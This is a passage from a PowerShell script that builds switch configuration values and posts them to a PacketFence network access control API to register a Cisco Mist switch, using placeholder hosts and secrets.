			$PostValues = @{"AccessListMap"=$null;"ExternalPortalEnforcement"="Y";"REJECTAccessList"=$null;"REJECTRole"=$null;"REJECTUrl"=$null;"REJECTVlan"=$null;"RoleMap"=$null;"SNMPAuthPasswordRead"=$null;"SNMPAuthPasswordTrap"=$null;"SNMPAuthPasswordWrite"=$null;"SNMPAuthProtocolRead"=$null;"SNMPAuthProtocolTrap"=$null;"SNMPAuthProtocolWrite"=$null;"SNMPCommunityRead"=$null;"SNMPCommunityTrap"=$null;"SNMPCommunityWrite"=$null;"SNMPEngineID"=$null;"SNMPPrivPasswordRead"=$null;"SNMPPrivPasswordTrap"=$null;"SNMPPrivPasswordWrite"=$null;"SNMPPrivProtocolRead"=$null;"SNMPPrivProtocolTrap"=$null;"SNMPPrivProtocolWrite"=$null;"SNMPUserNameRead"=$null;"SNMPUserNameTrap"=$null;"SNMPUserNameWrite"=$null;"SNMPVersion"=$null;"SNMPVersionTrap"=$null;"UrlMap"="Y";"VlanMap"="N";"VoIPCDPDetect"=$null;"VoIPDHCPDetect"=$null;"VoIPEnabled"=$null;"VoIPLLDPDetect"=$null;"cliAccess"=$null;"cliEnablePwd"=$null;"cliPwd"=$null;"cliTransport"=$null;"cliUser"=$null;"coaPort"=$null;"controllerIp"=$null;"deauthMethod"="RADIUS";"defaultAccessList"=$null;"defaultRole"=$null;"defaultUrl"=$null;"defaultVlan"=$null;"description"="$Desc";"disconnectPort"=$null;"gamingAccessList"=$null;"gamingRole"=$null;"gamingUrl"=$null;"gamingVlan"=$null;"group"="default";"guestAccessList"=$null;"guestRole"=$null;"guestUrl"=$null;"guestVlan"=$null;"id"="$IP";"inlineAccessList"=$null;"inlineRole"=$null;"inlineTrigger"=$null;"inlineUrl"=$null;"inlineVlan"=$null;"isolationAccessList"=$null;"isolationRole"=$null;"isolationUrl"=$null;"isolationVlan"=$null;"macSearchesMaxNb"=$null;"macSearchesSleepInterval"=$null;"mac_trigger"=$null;"mode"=$null;"port_trigger"=$null;"radiusSecret"="RadiusSharedSecret";"registrationAccessList"=$null;"registrationRole"=$null;"registrationUrl"="https://packetfence.contoso.com/Cisco::WLC";"registrationVlan"=$null;"ssid_trigger"=$null;"type"="Cisco::Mist";"uplink"=$null;"uplink_dynamic"="dynamic";"useCoA"="Y";"voiceAccessList"=$null;"voiceRole"=$null;"voiceUrl"=$null;"voiceVlan"=$null;"wsPwd"=$null;"wsTransport"=$null;"wsUser"=$null}
			$PFAddSwitch = Invoke-WebRequest -Uri "https://packetfence.contoso.com:1443/api/v1/config/switches" -Method POST -Headers $PFHeaders -Body ($PostValues|ConvertTo-JSON)
		}
	}
}